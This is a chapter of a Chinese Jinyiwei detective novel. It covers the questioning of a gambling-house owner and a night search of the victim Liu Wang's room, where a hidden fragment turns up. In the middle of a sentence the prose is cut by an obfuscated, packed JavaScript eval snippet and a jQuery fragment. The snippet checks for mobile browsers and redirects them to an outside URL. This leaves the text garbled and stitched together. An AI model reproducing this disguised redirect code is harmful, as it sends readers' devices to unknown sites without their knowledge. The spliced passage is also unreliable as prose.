聚财坊的掌柜赵德财被带进审讯室的时候，两条腿在门槛上绊了一下，险些扑倒在地。身后的锦衣卫一把攥住他的胳膊，把他拎了进去。他跪下去的时候膝盖磕在砖地上，声音很闷，闷得他自己都哆嗦了一下。额头贴着地面，不敢抬。
审讯室里烛火通明，姜昭野坐在桌案后面，顾安站在一旁，手里转着笔。叶素从验尸房过来，靠在墙边，手上的布套刚摘掉，指缝里还有没洗净的污渍。
安静了几息。赵德财趴在地上，能听见自己的呼吸声，粗重得像拉风箱，他的肩膀在抖。
“叫什么？”姜昭野开口了。
“小的……小的赵德财。”
“替刘旺还钱的人，长什么样？”
赵德财终于抬起头，嘴唇动了几下，又低下头去。他用袖子擦了一把额头的汗，使劲想了想。“那人戴着围帽，浑身上下裹得严严实实的，小的实在没看清脸。穿一身黑衣裳，声音压得极低，不像本地口音。”
“什么时候来的？”
“早晨，店里没什么人，那人进来也不看别处，直接走到柜前，把一包银子放在台上，说了一句‘刘旺的账，有人结了’，转身就走了。”
“刘旺当时在店里吗？”
赵德财愣了一瞬。“不在。”
“那他怎么知道刘旺欠了多少钱？”
赵德财张了张嘴，没发出声。他的手指在袖子里绞着，指节泛白。
姜昭野没再追问。“刘旺昨天什么时候去的赌坊？”
“亥时来的，丑时三刻走的。”
“见了什么人？”
“没见什么人，都是经常来赌坊的，就是赌了几把，输了点银子。”
赵德财的声音越来越低，低到快听不见了。他的嘴唇动了几次，像是在犹豫。姜昭野没有催，审讯室里又安静了。烛火跳了一下，赵德财的影子在墙上晃了晃，他整个人也跟着哆嗦了一下。
“不过……三天前，刘旺来赌坊，有人问他最近在哪儿发财。他说有门远房亲戚做买卖，给了他不少银子，刘旺说——那亲戚有把柄在他手里，不敢不给。那人还想再问，刘旺就不肯说了，摆摆手让人别问了，后面就再没提过这事。”
他一口气说完，又飞快地补了一句：“大人，这都是刘旺自己说的，跟小的没有半点关系。小的就是个开赌坊的，来赌钱的人说什么，小的也管不着啊。”
姜昭野的目光落在他身上，不轻不重。赵德财的头又低下去了，额头几乎贴着砖缝。
“带下去。”姜昭野说。
张虎上前，一把拽起赵德财的胳膊。赵德财被拖到门口，声音突然拔高了：“大人，小的真的不知道——大人，真的不是小的——刘旺的事跟小的没有关系啊——”
门板关上了，把他的喊声截成几截，闷闷的，断断续续地从门外传进来，然后彻底没了。
叶素从墙边走过来，拉了把椅子坐下。她往前倾了倾身子，把手臂搁在桌沿上。
“这么说刘旺手里有那人的把柄？”
姜昭野没说话，他把桌上的绣春刀拿起来挂在腰间，低下头，手指在带扣上按了一下。
“所以那个人不是来还钱的，是来灭口的。还钱是让他放松警惕，等风头过了再动手。等人死了，那点银子算什么。”叶素一手摸着下巴直点头，对自己的推理感到很满意。“大人，你去哪啊？”
姜昭野把袖口的系带重新系好，站起身。
“去回春堂。”
“等等我啊！大人”叶素小跑着跟上去。
回春堂门口的街上，夜色已经很浓了。锦衣卫来得快，但不张扬。几匹马从巷口小跑过来，蹄声在青石板路上密了一阵，骤然停了。校尉们翻身下马，刀鞘磕在腰扣上，叮当几声脆响，在夜里格外清楚，没有人说话。
掌柜在柜台后面拨着算盘，听见马蹄声时手里的动作慢了一下，他抬起头，姜昭野已经走了进来，叶素跟在后面。
掌柜的目光落在姜昭野腰间那把刀上，洛京城谁不知道，满京城只有一个人腰上佩的是绣春刀。他手里的算珠“哗啦”一声全塌了，赶忙从柜台后面迎出来，拱手弯下腰去，声音发紧。
“大人来了。”
叶素从姜昭野身后站出来。“掌柜的，刘旺这些天有没有跟什么人接触过？”
掌柜直起身，想了想。“没有，平时没见谁来找他。他好赌，但也不往店里带人。这点分寸还是有的。”
他忽然顿了一下，像是在回忆什么。
“倒是有个事——九月中旬，十里河村的赵大来卖草药。那天本来该我招呼的，刘旺说他去就行。我想着反正是熟人，就让他去了。”
“赵大走的时候怎么样？”
“那天刘旺去称草药，我去后院忙别的事了。等我出来，刘旺已经把草药都称好了，赵大刚好要走。看着挺高兴的，我还特意看了一眼他采的草药，品相比平时好。叶子肥，根须也完整。”
叶素看了姜昭野一眼。“刘旺住哪儿？”
“后院。我带您去。”掌柜转身往里走，从柜台上取了一盏油灯提在手里。灯光一晃一晃的，把走廊的墙壁照得忽明忽暗。
后院不大，一棵歪脖子枣树，枝丫光秃秃的，地上落了一层干叶子。掌柜在左边那间厢房门口停下，掏出钥匙开了门，退到一旁。
叶素走进去。
霉味很重。被子团成一团堆在床上，枕套发黑。桌上摊着几只碗，碗壁干了半圈水渍，筷子搁在碗沿上，一头粘着干了的饭粒。地上扔着几件旧衣裳，皱巴巴的。墙角立着两只酒坛，一只倒了，坛口朝下，周围渗了一圈深色的水印。
她站在屋子中间慢慢转了一圈。床底下、柜子顶上、门背后、灶台后面——每一个角落都看了一眼，但什么也没碰。
然后她退了出来。
姜昭野站在门口，往里看了一眼，没有进去。
“进去看看。”他说。
顾安带着两个锦衣卫进去了。屋子里响起翻找的声音——抽屉拉开又推回去，柜门开合，瓦罐磕在地上的闷响。有人把床板掀起来了，发出一声沉闷的响声。
叶素站在枣树底下
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17514414|203130||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。月光不多，院子里黑黢黢的。她把手拢在袖子里，听着屋里的动静。
翻了一阵，声音渐渐稀了。
“大人。”顾安的声音从屋里传出来，带着一点意外。
姜昭野进了屋，叶素跟进去。
顾安蹲在墙角的神龛前。神龛很简陋，供着刘旺父母的牌位，香炉被推到一边，香灰洒了大半个龛板。顾安从灰底下摸出一只灰扑扑的布包，拍了拍上面的灰，站起来，递过来。
姜昭野接过去。布包不大，沉甸甸的。他低头解系口的绳子，绳结打得很紧，指甲在布上磕了一下才解开。他把里面的东西倒在掌心里。
一块暗红色的碎片。拇指大小，边缘不规整。
顾安凑过来看，“赵大肚子里那个？”
叶素也凑近了，她弯腰的时候，一缕碎发从鬓角垂下来，扫到姜昭野的手背，顾安的脑袋挨得近，脸颊快碰到叶素的肩侧。
姜昭野把掌心一收。
碎片被他握在手心里，然后裹回帕子，塞进袖中。
“赌坊那边再查，刘旺这半个月去过什么地方，跟什么人接触过，一个都不要漏。”
顾安站直了，往后退了半步。“是。”
姜昭野转身往外走，叶素给顾安比了个加油的手势，转身朝着姜昭野跑去。
出了回春堂大门，夜风迎面扑过来，深秋的风，凉意已经有些扎人了，叶素缩了一下肩膀。
马被拴在门前的拴马桩上，叶素低头解缰绳，扯了两下，绳结纹丝不动，她又扯了一下，还是没动。
一只手伸过来，握住绳结，轻轻一抽就松了。
叶素抬起头，姜昭野已经把缰绳递回来了。她接过去，笑嘻嘻地说：“多谢大人。”
姜昭野没接话，翻身上马。叶素也上了马，缰绳在手里绕了一圈，跟在他后面。
街上已经没什么人了，两旁的店铺上了门板，灯从门缝里漏出来，在地上画出一条一条细长的光。叶素跟在姜昭野后面，隔着一个马身的距离。马蹄踩在青石板路上，一下一下的，在夜里听得很清楚。
锦衣卫门口，两个站岗的校尉把腰刀往旁边让了让。
姜昭野翻身下马，缰绳扔给迎上来的侍卫，大步跨过门槛，身影消失在影壁后面。叶素把手里的缰绳也递出去，站在台阶上没动。
夜风从街口灌过来，把檐下的灯笼吹得晃了晃。
她站了片刻，转过身，穿过前院，往自己的房间走。路过姜昭野的签押房时，门虚掩着，灯还亮着，光从门缝里漏出来，在地上画出一道细长的亮缝。她的脚步慢了一点，没有停，继续往前走。
推开房间的门，屋里黑着灯。她没点。
在床沿上坐了一会儿，靴子蹬掉，往身后一倒，整个人陷进薄褥里。被子拉到肩膀，眼睛闭上了。
脑子里还在转——城东那处宅子，凶手进去过的那个。明天得去看看。
窗外起了风，把枯枝吹得刮在窗纸上，沙沙响。她听了一会儿，眼皮越来越沉。
不知道过了多久，终于没了意识。